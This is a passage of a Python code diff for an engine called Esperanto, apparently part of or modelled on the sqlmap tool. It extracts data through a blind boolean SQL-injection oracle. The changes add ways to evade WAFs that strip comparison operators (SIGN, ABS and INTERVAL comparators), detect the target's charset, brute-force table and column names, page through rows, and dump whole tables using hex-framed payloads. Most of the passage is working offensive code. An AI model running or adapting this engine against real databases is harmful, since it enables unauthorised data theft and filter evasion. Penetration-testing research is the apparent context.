not self._ask("%s=%s" % (w("'a'"), w("'A'")))):
continue
# BYTE-EXACT proof, not just case ORDER: a binary wrapper is used to certify EXACT
# values, so it must also distinguish TRAILING SPACES (most collations are PAD SPACE)
# and ACCENTS (many collations are accent-insensitive). One that folds either is
# ordered but NOT byte-exact -> skip it and fall through to hex, rather than promote a
# folded value (trailing-space or accent folding) to EXACT.
if self._ask("%s=%s" % (w("'a'"), w("'a '"))): # trailing-space insensitive
continue
# accent test needs a char constructor to build the accented probe. If we HAVE one and
# it folds -> skip (not byte-exact). If we DON'T (constructors blocked), accents are
# UNTESTABLE: keep the wrapper for ORDERING (char reads) but mark byte_exact=False, so
# it does NOT certify EXACT (an accent-insensitive wrapper would silently pass an accented char as its base letter).
byte_exact = False
if cf:
if self._ask("%s=%s" % (w(cf.format(code=0xE9)), w("'e'"))): # accent insensitive
continue
byte_exact = True
self.dialect.binwrap = Cap(name, tmpl, byte_exact=byte_exact)
self.dialect.compare = "collation"
self.dialect.ordered = True
if not byte_exact:
self.dialect.notes.append("binary wrapper accent-sensitivity untestable (no char "
"constructor) - used for ordering, not exactness")
return "collation:%s" % name
# 3) hex/byte function - collation-independent, recovers letter case even
# under case-insensitive collations (the key fallback when code fns are
# filtered by a WAF)
for name, tmpl in _HEXFN:
enc = self._hexEncoding(tmpl)
if enc:
self.dialect.hexfn = Cap(name, tmpl, encoding=enc)
if enc is not None: # '' = usable, codec unknown (auto-detect)
self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None))
self.dialect.compare = "hex"
self.dialect.ordered = True
return "hex:%s" % name
@ -418,15 +471,35 @@ class _Discovery(object):
self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable")
return "equality-ci"
# STRICT-'>' semantic truth table across the signed domain. Two positive samples (2>1,
# !2>3) are NOT enough: a '>'->'>=' rewrite passes them but fails the equality boundary
# (2>2 must be FALSE) and would then read every count/length/code off by one. Each
# candidate must reproduce '>' at the equality boundary AND across zero and negatives.
_GT_TRUTH = ((2, 1, True), (2, 2, False), (2, 3, False),
(0, -1, True), (0, 0, False), (0, 1, False),
(-2, -3, True), (-2, -2, False), (-2, -1, False))
def _provesGt(self, render):
# render(a, b) -> SQL for "a > b"; the candidate is accepted only if it matches
# strict '>' on EVERY truth-table row (equality boundary + zero + negative domain).
try:
for a, b, want in self._GT_TRUTH:
if bool(self._ask(render(a, b))) != want:
return False
except OracleUndecided:
return False
return True
def _discoverComparator(self):
# how to express "value > threshold" for bisection. A WAF that strips '<'/'>'
# (very common) would otherwise leave code-mode picking '>' and silently
# failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall
# to order-free IN() subset bisection which needs only '=' membership.
HUGE = 1 << 62
try:
if self._ask("2>1") and not self._ask("2>3"):
if self._provesGt(lambda a, b: "%d>%d" % (a, b)):
self._comparator = "gt"
elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"):
elif self._provesGt(lambda a, b: "%d BETWEEN %d AND %d" % (a, b + 1, HUGE)):
self._comparator = "between"
self.dialect.notes.append("'>' unusable; bisecting via BETWEEN")
elif self._discoverOperatorFreeComparator():
@ -442,8 +515,9 @@ class _Discovery(object):
def _discoverOperatorFreeComparator(self):
# Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN):
# each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the
# comparison operators instead of dropping to slow order-free membership. Ordered universal-
# first; each self-selects by a 3-point probe (2>1 true, 2>3/2>2 false). {expr}/{n} filled at use.
# comparison operators. Each must pass the FULL signed truth table (not a 3-point positive
# probe), so a candidate that can't represent the negative/zero domain (e.g. WIDTH_BUCKET
# with lo==hi at n=-1) is rejected instead of silently misreading signed values.
candidates = (
("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS
("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered
@ -453,7 +527,7 @@ class _Discovery(object):
("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB
)
for name, tmpl in candidates:
if self._ask(tmpl.format(expr=2, n=1)) and not self._ask(tmpl.format(expr=2, n=3)) and not self._ask(tmpl.format(expr=2, n=2)):
if self._provesGt(lambda a, b, _t=tmpl: _t.format(expr=a, n=b)):
self._comparator = name
self._cmpTemplate = tmpl
self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper())
@ -491,6 +565,28 @@ class _Discovery(object):
return name
self.dialect.charfrom = None
def _discoverCharset(self):
# ASK THE DB ITS DECLARED CHARSET - the strongest possible encoding signal, and one a
# boolean oracle can read directly (a huge advantage over passive byte-guessing, which
# can't tell utf-8 e-acute from cp1252 mojibake). The first family probe that resolves gives a
# name; map it (quirk-aware: MySQL latin1==cp1252) to a Python codec used as the
# authoritative hex decoder. Unproven -> None -> non-ASCII text stays non-exact.
with self._probePhase(): # a wrong-family charset expr errors -> skip
for expr in _CHARSET_PROBES:
try:
if not self._hasChars(expr):
continue
res = self.extractResult(expr, limit=64)
except OracleUndecided:
continue
if res.value and res.exact:
codec = _charsetCodec(res.value)
if codec:
self.dialect.charset = codec
self.dialect.notes.append("declared charset %r -> %s" % (res.value, codec))
return codec
return None
def _discoverIdentity(self):
for kind, candidates in sorted(_IDENTITY.items()):
for expr in candidates:

View file

@ -6,10 +6,13 @@ See the file 'LICENSE' for copying permission
"""
from .atlas import _FREQ_ORDER
from .atlas import _hardWarnings
from .atlas import _PRINTABLE_SORTED
from .atlas import _REPL
from .atlas import _unichr
from .records import Dialect
from .records import ExtractResult
from .records import OracleUndecided
from .oracle import _OracleCore
from .discovery import _Discovery
from .extraction import _Extraction
@ -50,10 +53,14 @@ class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
self._inOk = True # IN(...) usable (order-free subset bisection)
self._lastTruncated = False
self._discovered = False
self._nonExactNamesNoted = False # one-shot: enumerated-identifier-ambiguity note fired
self._castPreserves = None # cached: does the text cast preserve a canary accent?
self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an
# undecidable probe there = "rung unusable" -> False; elsewhere (reading
# committed data) an undecidable probe stays undecided so it degrades loudly
self._progress = None # optional host callback(str) for live feedback
self._progress = None # optional host callback(str) for live per-VALUE feedback
self._charProgress = None # optional host callback(partial, total) for live per-CHARACTER
# feedback DURING a long extraction (so the user sees it working)
@property
def queryCount(self):
@ -63,49 +70,129 @@ class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration):
def hostExtract(oracle, strategy, expr, maxlen=4096):
"""Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle.
This is the proof that the strategy is a sufficient hand-off: it reproduces
char-by-char extraction with zero dependency on Esperanto's own retrieval code -
exactly what sqlmap's `bisection()`/`queryOutputLength()` would do instead, but in
~30 lines. Covers the char-comparison modes (code / collation / ordinal /
equality); hex mode is reachable the same way via strategy.renderHex()."""
ask = lambda cond: bool(oracle(cond))
L = strategy.renderLength(expr)
if not ask("%s>=0" % L):
return None
if ask("%s=0" % L):
return ""
lo, hi = 1, min(8, maxlen)
while hi < maxlen and ask("%s>%d" % (L, hi)):
lo, hi = hi + 1, min(hi * 2, maxlen)
while lo < hi:
mid = (lo + hi) // 2
lo, hi = (mid + 1, hi) if ask("%s>%d" % (L, mid)) else (lo, mid)
length = lo
Proof that the strategy is a sufficient hand-off: it reproduces char-by-char
extraction with zero dependency on Esperanto's own retrieval code - what sqlmap's
`bisection()`/`queryOutputLength()` would do instead. EVERY numeric compare renders
through strategy.renderGt (the discovered comparator), so it survives a WAF that
strips '>' exactly as the engine does, and length is measured via the length fn OR,
when there is none, derived from the substring's end.
def read(pos):
mode = strategy.compare_mode
if mode == "code":
code = strategy.renderCode(expr, pos)
top = 0x10FFFF
for cap in (127, 255, 0xFFFF, 0x10FFFF):
if not ask("%s>%d" % (code, cap)):
top = cap
break
a, b = 0, top
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask("%s>%d" % (code, m)) else (a, m)
return _unichr(a)
if mode in ("collation", "ordinal"):
cs = _PRINTABLE_SORTED
a, b = 0, len(cs) - 1
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
return cs[a]
for ch in _FREQ_ORDER: # equality scan
if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
return ch
return _REPL
It covers the char-comparison modes (code / collation / ordinal / equality) with an
ordered comparator. Pattern-only (LIKE floor) and pure membership (no ordered
comparator) are NOT driven by this reference - it raises rather than silently
emitting an operator the dialect declared unusable or returning wrong data.
return "".join(read(i) for i in range(1, length + 1))
Returns an ExtractResult (value / exact / truncated / integrity), NOT a bare string:
an undecided host observation degrades to a FAILED result (never a manufactured bit),
a value longer than maxlen is flagged TRUNCATED, and a code-mode value read through an
UNPROVEN char-code fn is whole-value verified so a lossy code fn is caught (integrity
FAILED), exactly as the native engine does - so this stays a faithful sufficiency proof."""
HUGE = 1 << 62
def ask(cond):
# STRICT tri-state, like _OracleCore._ask: only a real bool is an observation; anything
# else (None from a transport/undecided oracle) is NOT coerced to False.
r = oracle(cond)
if r is True or r is False:
return r
raise OracleUndecided("host oracle undecided: %s" % cond)
if strategy.compare_mode == "like" or (strategy.substring is None and strategy.length is None):
raise NotImplementedError("hostExtract: pattern-only extraction is not driven by this reference")
if strategy.comparator == "membership":
raise NotImplementedError("hostExtract: an ordered comparator is required (membership-only unsupported)")
def _run():
if strategy.length is not None:
L = strategy.renderLength(expr)
if not ask(strategy.renderGt(L, -1, HUGE)): # L >= 0: defined and non-negative
is_null = ask(strategy.renderIsNull(expr)) # ask ONCE (a noisy oracle could disagree twice)
return ExtractResult(None, is_null=is_null, complete=is_null)
if maxlen <= 0: # non-empty but capped to nothing
return ExtractResult("", complete=False, truncated=True)
if not ask(strategy.renderGt(L, 0, HUGE)): # not L > 0 -> empty string
return ExtractResult("", complete=True)
lo, hi = 1, min(8, maxlen)
while hi < maxlen and ask(strategy.renderGt(L, hi, HUGE)):
lo, hi = hi + 1, min(hi * 2, maxlen)
while lo < hi:
mid = (lo + hi) // 2
lo, hi = (mid + 1, hi) if ask(strategy.renderGt(L, mid, HUGE)) else (lo, mid)
length = lo
truncated = length >= maxlen and ask(strategy.renderGt(L, maxlen, HUGE)) # a char past the cap
# FINAL EQUALITY (as the native integer reader does): the comparator is proven only on
# literals; a backend that rewrites '>' to '>=' for a computed operand (LENGTH(..)>n)
# converges off-by-one. Confirm the length directly, else fail closed.
if not truncated and not ask("(%s)=%d" % (L, length)):
raise OracleUndecided("host length failed final equality")
else: # no length fn: derive from substring end
exists = lambda n: ask(strategy.renderCharExists(expr, n))
if not exists(1):
is_null = ask(strategy.renderIsNull(expr)) # ask ONCE
return ExtractResult(None, is_null=is_null, complete=is_null)
if maxlen <= 0: # non-empty but capped to nothing
return ExtractResult("", complete=False, truncated=True)
lo, hi = 1, min(8, maxlen)
while hi < maxlen and exists(hi):
lo, hi = hi, min(hi * 2, maxlen)
while lo < hi:
mid = (lo + hi + 1) // 2
lo, hi = (mid, hi) if exists(mid) else (lo, mid - 1)
length = lo
truncated = length >= maxlen and exists(maxlen + 1)
def read(pos):
mode = strategy.compare_mode
if mode == "code":
code = strategy.renderCode(expr, pos)
top = 0x10FFFF
for cap in (127, 255, 0xFFFF, 0x10FFFF):
if not ask(strategy.renderGt(code, cap, HUGE)):
top = cap
break
a, b = 0, top
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask(strategy.renderGt(code, m, HUGE)) else (a, m)
# FINAL EQUALITY on the code: comparator semantics are INDEPENDENT of the code
# fn's semantics, so a '>'->'>=' rewrite on the code expression converges off-by-
# one even when the code fn is codepoint-faithful. Confirm directly, else fail.
if not ask("(%s)=%d" % (code, a)):
raise OracleUndecided("host code failed final equality")
return _unichr(a)
if mode in ("collation", "ordinal"):
cs = _PRINTABLE_SORTED
a, b = 0, len(cs) - 1
while a < b:
m = (a + b) // 2
a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m)
return cs[a]
for ch in _FREQ_ORDER: # equality scan
if ask(strategy.renderCharCmp(expr, pos, ch, "=")):
return ch
return _REPL
value = "".join(read(i) for i in range(1, length + 1))
warns = ["contains unresolved char"] if _REPL in value else []
if strategy.compare_mode == "equality-ci":
warns.append("lossy equality collation: case/accents ambiguous")
# WHOLE-VALUE verification: mirrors the native verify. Run it regardless of code-point
# semantics - the code fn being codepoint-faithful says nothing about the COMPARATOR (a
# rewritten '>' still corrupts a codepoint-faithful read), so the value must be confirmed
# against the source rather than trusted because the code fn is faithful.
needs_verify = not truncated and _REPL not in value
if needs_verify and not ask(strategy.renderExactEq(expr, strategy.lit(value))):
warns.append("whole-value verification failed")
return ExtractResult(value, complete=False, truncated=truncated, warnings=warns)
# mirror the native EXACT gate: without a proven byte-exact witness (hex / binary /
# codepoint) the value is WHOLE_BUT_AMBIGUOUS, never EXACT - renderExactEq falls back to
# collation-dependent plain '=' which cannot certify byte-exactness.
if value and not truncated and _REPL not in value and strategy.exact_witness is None:
warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness")
return ExtractResult(value, complete=not truncated and not _hardWarnings(warns),
truncated=truncated, warnings=warns)
try:
return _run()
except OracleUndecided:
return ExtractResult(None, complete=False, warnings=["host oracle undecided"])

View file

@ -21,6 +21,7 @@ from .wordlist import commonColumns
from .wordlist import commonTables
_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away
_MEMBERSHIP_PAGING_BUDGET = 8192 # max rendered NOT IN() fragment before stopping (partial) - it grows per row
# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump)
_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax"))
@ -86,10 +87,11 @@ class _Enumeration(object):
continue
tries += 1
try:
# probe the column BARE (not quoted): a nonexistent bare column errors,
# whereas a double-quoted unknown is silently taken as a STRING LITERAL
# on SQLite -> would pass every fake name. COUNT-free (WAF may filter it).
if self._exists(qtable, col):
# probe the column BARE but ALIAS-QUALIFIED (`e.col`): a nonexistent bare
# column errors (a double-quoted unknown is a STRING LITERAL on SQLite -> would
# pass every fake name), and the alias stops a candidate that is really a
# KEYWORD/FUNCTION (e.g. `user` -> USER) from resolving. COUNT-free (WAF-safe).
if self._exists(qtable, col, alias="e"):
found.append(col)
self._emit(col)
except OracleUndecided:
@ -102,8 +104,12 @@ class _Enumeration(object):
col, src, filt = self.dialect.catalogEnum[kind]
clauses = [filt] if filt else []
if schema is not None and "schema" in self.dialect.catalogEnum:
scol = self.dialect.catalogEnum["schema"][0] # table_schema / OWNER / schemaname
clauses.append("%s=%s" % (scol, self.buildLiteral(schema)))
scol, ssrc = self.dialect.catalogEnum["schema"][0], self.dialect.catalogEnum["schema"][1]
# the scope column is only valid IN ITS OWN source. ANSI/PG/Oracle co-locate
# table+schema in one catalog view; MSSQL splits them (sys.tables vs sys.schemas)
# so `name=<schema>` on sys.tables would match table NAMES - skip it, don't corrupt.
if ssrc == src:
clauses.append("%s=%s" % (scol, self.buildLiteral(schema)))
return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "")
def enumerateKeyset(self, kind, limit=10, schema=None):
@ -134,12 +140,31 @@ class _Enumeration(object):
try:
if not self._ask("%s IS NOT NULL" % expr):
break
name = self.extract(expr)
res = self.extractResult(expr) # complete-or-stop: a partial name is a bad keyset bound
except OracleUndecided:
self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)")
break
if not name or name == prev:
if not res.complete: # incomplete (truncated / unresolved / unverified) name is
self.dialect.notes.append("enumeration stopped: incomplete identifier read (unsafe keyset bound)")
break # an unsafe keyset bound - a soft case/accent warning still passes
name = res.value
if not name:
break
if name in names:
# revisiting an already-listed name (not just the immediate predecessor) means the
# paging bound and the recovered spelling disagree - e.g. the keyset compare and
# the char read resolve under DIFFERENT collations, so the walk cycles f,e,f,e...
# Stop with a PARTIAL, de-duplicated list rather than loop or emit duplicates.
self.dialect.notes.append("enumeration stopped: identifier %r revisited "
"(paging/read-back collation mismatch) - list may be partial" % name)
break
if not res.exact and not self._nonExactNamesNoted:
# the name paged correctly (the walk uses the engine's OWN collation, so a
# case/accent-ambiguous bound is self-consistent) but its exact spelling is NOT
# proven - flag it, since a caller may reuse the name as an exact SQL identifier.
self._nonExactNamesNoted = True
self.dialect.notes.append("enumerated identifiers are case/accent-approximate "
"(no byte-exact primitive) - exact spelling not proven")
names.append(name)
self._emit(name) # live feedback per discovered name
if _REPL in name:
@ -163,9 +188,18 @@ class _Enumeration(object):
return "%s>%s" % (expr, bound)
if self._comparator == "between" and unit == "int":
return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev)
if self._cmpTemplate is not None and unit == "int": # operator-free ordered rung
return self._cmpTemplate.format(expr=expr, n=prev) # "expr > prev" without '>'
if self._inOk and seen:
lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen)
return "%s NOT IN (%s)" % (expr, lits)
frag = "%s NOT IN (%s)" % (expr, lits)
# NOT IN(all-seen) grows every row (quadratic payload / WAF surface). Beyond a
# rendered-size budget, stop with a PARTIAL result + note rather than emitting an
# ever-larger request (and never let one un-renderable literal poison the walk).
if len(frag) > _MEMBERSHIP_PAGING_BUDGET:
self.dialect.notes.append("membership paging stopped: NOT IN() payload budget exceeded (partial)")
return None
return frag
return None
def hasTable(self, table, schema=None):
@ -188,6 +222,8 @@ class _Enumeration(object):
return None
schemacol = ce["schema"][0]
namecol, source = ce["table"][0], ce["table"][1]
if ce["schema"][1] != source: # schema lives in a SEPARATE catalog view (MSSQL
return None # sys.schemas) - can't co-query it against sys.tables
# prefer a non-system schema (a system table could share the name)
excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema",
"SYS", "INFORMATION_SCHEMA", "pg_toast")
@ -196,7 +232,9 @@ class _Enumeration(object):
expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail)
try:
if self._ask("%s IS NOT NULL" % expr):
return self.extract(expr)
res = self.extractResult(expr) # a SCHEMA NAME becomes a qualifier -> require EXACT
if res.exact and res.value:
return res.value
except OracleUndecided:
break
return None
@ -211,6 +249,13 @@ class _Enumeration(object):
return name
return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1])
def qualify(self, table, schema=None):
"""The quoted, optionally schema-scoped table reference used for a dump - the SAME
expression for count, key discovery, and row retrieval, so a non-default schema can't
make the count query hit a different (unqualified) table than the dump."""
qt = self.quoteIdent(table)
return "%s.%s" % (self.quoteIdent(schema), qt) if schema is not None else qt
def _ensureQuoting(self, table):
# discover the identifier-quote style using the (known-present) table:
# the wrong quote char makes SELECT ... FROM <quoted> error -> reject
@ -287,9 +332,9 @@ class _Enumeration(object):
with self._probePhase(): # a catalog that lacks this key structure errors -> "no key", not fatal
present = self._ask("%s IS NOT NULL" % keyexpr)
if present:
name = self.extract(keyexpr)
if name:
return name
res = self.extractResult(keyexpr) # a key COLUMN NAME becomes SQL -> require an EXACT value
if res.exact and res.value: # (a case-ambiguous name could mis-target)
return res.value
return None
def columnType(self, expr):
@ -312,17 +357,43 @@ class _Enumeration(object):
return "unknown"
def _classifyUnit(self, keyexpr, qtable):
# a key/rowid reads as int (fast extractInteger + numeric bound) or opaque
# text (extract + literal bound)
# a key/rowid reads as int (fast extractInteger + numeric bound) or opaque text
# (extract + literal bound). DEFAULT TEXT (safe, just slower) - misreading a text or
# decimal/float key as int DESTROYS the paging boundary (reviewer: 'a','1' and 1.5,2.5
# both broke). 'int' requires an EXACT-INTEGER round-trip, not a mere numeric sort:
# - strict engines: `text = <int>` ERRORS -> text (probe phase reads False)
# - a decimal/float (1.5) extracts as 2 and `1.5 = 2` is False -> text
# - a genuine integer N round-trips `expr = N` -> int
# all rendered through the DISCOVERED comparator (_gtNum), never a raw '>='/'<'.
q = "(SELECT MIN(%s) FROM %s)" % (keyexpr, qtable)
if self._comparator == "between":
# numeric range holds only for a number (text sorts outside it in SQL)
if self._ask("%s BETWEEN -9223372036854775808 AND 9223372036854775807" % q):
if self._comparator == "membership":
return "text" # no ordered numeric compare -> literal-bound text
with self._probePhase(): # a numeric comparison on a TEXT key ERRORS on strict engines -> False
if not (self._numDefined(q) and self._gtNum(q, -(1 << 62) - 1, 1 << 62)):
return "text" # not comparable as a number (or NULL)
try:
n = self.extractInteger(q) # signed, via the discovered comparator
except (OracleUndecided, OverflowError):
return "text"
# 'int' requires BOTH: (a) numeric equality `q = n` (catches a decimal - 1.5 extracts
# as 2 and 1.5 = 2 is false), and (b) the value LOOKS numeric - first char a digit or
# '-'. A loose engine coerces text->0 so `'AA' = 0` is spuriously true, but 'AA' starts
# with a non-digit; and (b) uses no `=`-to-string (SQLite won't coerce `1 = '1'`).
if n is not None and self._ask("(%s)=(%d)" % (q, n)) and self._looksNumeric(q):
return "int"
elif self._comparator == "gt":
if self._ask("%s>=0" % q) or self._ask("%s<0" % q):
return "int"
return "text" # membership/undecided: safe to treat as literal-bound text
return "text"
def _looksNumeric(self, expr):
# first char is a digit or '-' (order-free IN test, so a blocked '>' doesn't matter).
# rejects non-digit text a loose engine coerced to 0; no substring to inspect -> can't
# refute -> keep the numeric verdict (never break a real int on a substring-less floor).
if self.dialect.substring is None:
return True
try:
one = self._sub(self._resolveText(expr), 1, 1)
return self._ask("%s IN ('0','1','2','3','4','5','6','7','8','9','-')" % one)
except OracleUndecided:
return True
def _discoverRowid(self, qtable):
# find a MIN-aggregatable physical row identifier for the (already-quoted)
@ -344,14 +415,30 @@ class _Enumeration(object):
return Cap(name, rid, unit=unit)
return None
def _walkKey(self, qtable, table, schema):
def _keyIsUnique(self, kexpr, qtable, total=None):
# a keyset ordering column MUST be single-column unique AND non-NULL, else `> prev`
# paging silently DROPS rows: a composite key's first column repeats (skipping the
# shared-value rows), and NULL keys sort outside the walk. Verified against the DATA
# (COUNT(*) == COUNT(DISTINCT key)) - a NULL key or duplicate makes distinct < total -
# so it holds regardless of how the constraint catalog was joined.
try:
if total is None:
total = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
distinct = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s)" % (kexpr, qtable))
except (OracleUndecided, OverflowError):
return False
return total is not None and distinct is not None and total == distinct
def _walkKey(self, qtable, table, schema, total=None):
# ordering key, best-first: primary/unique key -> physical row-id -> value.
# returns (key_expr, unit, source_label, boundfn); boundfn formats a keyset
# comparison bound (quoted literal for opaque-typed row-ids, else buildLiteral).
key = self._discoverKey(table, schema)
if key:
kexpr = self.quoteIdent(key)
return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral
if self._keyIsUnique(kexpr, qtable, total):
return kexpr, self._classifyUnit(kexpr, qtable), "key:%s" % key, self.buildLiteral
self.dialect.notes.append("key %s not single-column unique -> row-id/value keyset" % key)
rid = self._discoverRowid(qtable)
if rid is not None:
boundfn = self._lit if rid.name in _ROWID_LITBOUND else self.buildLiteral
@ -359,23 +446,40 @@ class _Enumeration(object):
return None, None, "value", self.buildLiteral
def _rowPayload(self, cols):
# one hex-framed, NULL-PRESERVING token per column, joined by ','. token
# grammar: 'N' = SQL NULL, 'V'+hex = non-NULL value ('V' alone = empty
# string). the marker is required because COALESCE(col,'') collapses NULL and
# empty - and on Oracle the '' fallback is itself NULL. needs hex framing.
# one hex-framed, NULL-PRESERVING token per column. When a length fn + text cast exist,
# each token embeds an INDEPENDENT character-length witness and a terminal marker:
# V<charlen>:<hex>; (value) N; (SQL NULL)
# so a capped/lossy HEX or CONCAT that SHORTENS the value is caught (`_splitRow` rejects a
# token whose decoded char count != the declared source length, or whose ';' is missing).
# Length counts CHARACTERS -> invariant under a re-encoding cast, and is measured by a
# DIFFERENT primitive than hex/concat, so it is not self-certifying. Without a length fn /
# cast the plain 'N' / 'V'+hex grammar (',' delimited) is used - framing still works, but
# the whole-value length witness is unavailable (noted). Needs hex + concat to frame a row.
if not self._ensureHexfn() or not self.dialect.concat:
return None, False # can't frame a whole row -> caller scavenges cell-by-cell
self._rowLenFramed = bool(self.dialect.length and self.dialect.textcast)
if not self._rowLenFramed:
self.dialect.notes.append("row framing without a length witness (no length fn/cast) - "
"a capped hex/concat could shorten a cell undetected")
parts = []
for c in cols:
qc = self.quoteIdent(c) # column names are identifiers, not raw SQL
# text-cast before hex so a numeric/date column yields its TEXT form, not
# DBMS-internal storage bytes (SQL Server CAST(1 AS VARBINARY)=00000001)
text = self.dialect.textcast[1].format(expr=qc) if self.dialect.textcast else qc
marked = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=text))
parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked))
hexed = self.dialect.hexfn[1].format(expr=text)
if self._rowLenFramed:
lenstr = self.dialect.textcast[1].format(expr=self._len(qc)) # source CHAR length as text
body = self._concatMany(["'V'", lenstr, "':'", hexed, "';'"])
parts.append("CASE WHEN (%s) IS NULL THEN 'N;' ELSE %s END" % (qc, body))
else:
marked = self.dialect.concat[1].format(a="'V'", b=hexed)
parts.append("CASE WHEN (%s) IS NULL THEN 'N' ELSE %s END" % (qc, marked))
if self._rowLenFramed:
return self._concatMany(parts), True # tokens self-terminate with ';'
interleaved = [parts[0]]
for p in parts[1:]:
interleaved.append("','") # the ',' row-token delimiter
interleaved.append("','") # the ',' row-token delimiter
interleaved.append(p)
return self._concatMany(interleaved), True # flat when concat is variadic
@ -393,14 +497,45 @@ class _Enumeration(object):
return row, True
def _splitRow(self, data, ncols):
# returns (row, valid); a malformed token count/marker means invalid, never
# a silently padded/truncated plausible row
# returns (row, valid); a malformed token count/marker/length means invalid, never
# a silently padded/truncated plausible row.
# framed cells are hex of a TEXT-CAST value, whose bytes are in the CAST's output charset
# (the connection/expression charset - MySQL re-encodes a latin1 column to utf-8 here), so
# use the PROVEN hex encoding, NOT the column's declared charset (that governs RAW bytes).
if data is None:
return None, False
toks = data.split(",")
# EFFECTIVE encoding: the proven per-expression hex codec, else the discovered charset (now
# the CONNECTION charset, which is what the CAST outputs). Same evidence the dump-exactness
# check below consumes, so decode and integrity never disagree.
enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset
if getattr(self, "_rowLenFramed", False):
# V<charlen>:<hex>; / N; -> every token MUST carry its terminal ';' and (for a value)
# decode to EXACTLY the declared source char length; a capped hex/concat fails one.
if not data.endswith(";"): # a truncated final token dropped its terminator
return None, False
toks = data.split(";")
if toks and toks[-1] == "":
toks = toks[:-1] # drop the trailing terminator
if len(toks) != ncols:
return None, False # a truncated final token loses its ';' -> count off
vals = []
for t in toks:
if t == "N":
vals.append(None)
continue
if not t.startswith("V") or ":" not in t:
return None, False
lenpart, _, hexpart = t[1:].partition(":")
if not lenpart.isdigit():
return None, False
v = "" if hexpart == "" else self._decodeHexToken(hexpart, enc)
if v is None or len(v) != int(lenpart): # INDEPENDENT length witness: decoded != source
return None, False
vals.append(v)
return vals, True
toks = data.split(",") # plain grammar (no length witness available)
if len(toks) != ncols:
return None, False
enc = self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None
vals = []
for t in toks:
if t == "N":
@ -424,9 +559,7 @@ class _Enumeration(object):
text-cast extraction. Completeness is checked against COUNT(*). Returns
{columns, rows, complete, keyed_by}."""
self._ensureQuoting(table)
qtable = self.quoteIdent(table)
if schema is not None:
qtable = "%s.%s" % (self.quoteIdent(schema), qtable)
qtable = self.qualify(table, schema)
cols = columns or self.columns(table, schema)
if not cols:
return None
@ -435,25 +568,28 @@ class _Enumeration(object):
self.dialect.notes.append("dump %s: no hex/concat framing - scavenging cell-by-cell" % table)
try:
expected = self.extractInteger("(SELECT COUNT(*) FROM %s)" % qtable)
except OracleUndecided:
except (OracleUndecided, OverflowError): # unknown/huge count -> walk up to `limit`, not a failure
expected = None
if expected == 0:
return {"columns": cols, "rows": [], "complete": True, "keyed_by": None}
keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema)
return {"columns": cols, "rows": [], "complete": True, "exact": True, "keyed_by": None}
keyexpr, unit, keyed_by, boundfn = self._walkKey(qtable, table, schema, total=expected)
rows, ok = [], True
def readrow(where):
# a whole row: one framed extraction when hex+concat exist, else cell-by-cell.
# if the framed whole-row read doesn't verify (some engines choke on the big
# nested CONCAT or its verification, e.g. SQL Server), degrade to reading each
# cell on its own rather than dropping the row
# a whole row: one framed extraction when hex+concat exist, else cell-by-cell. The
# framed token carries an INDEPENDENT length witness + terminal marker (see _rowPayload),
# so _splitRow rejects a bounded/lossy hex/concat that shortened a cell; a rejected or
# errored framed read degrades to cell-by-cell (which reads each cell at its true length,
# so it cannot be cast-truncated) rather than dropping the row.
if framed:
try:
res = self.extractResult("(SELECT %s FROM %s WHERE %s)" % (payload, qtable, where), codes=_HEX_PAYLOAD_CODES)
if res.complete:
return self._splitRow(res.value, len(cols))
row, ok2 = self._splitRow(res.value, len(cols))
if ok2:
return row, ok2
except OracleUndecided:
pass # framed whole-row read errored (big nested CONCAT) -> cell-by-cell
pass # framed whole-row read errored -> cell-by-cell
return self._cellRow(qtable, cols, where)
# a best-effort walk must DEGRADE, not crash: an undecided/over-budget probe
@ -470,8 +606,18 @@ class _Enumeration(object):
break
where = " WHERE %s" % beyond
ke = "(SELECT MIN(%s) FROM %s%s)" % (keyexpr, qtable, where)
key = self.extractInteger(ke) if unit == "int" else self.extract(ke)
if key is None or key == "" or key == prev:
if unit == "int":
key = self.extractInteger(ke) # None = NULL (MIN over empty set) = no more rows
else:
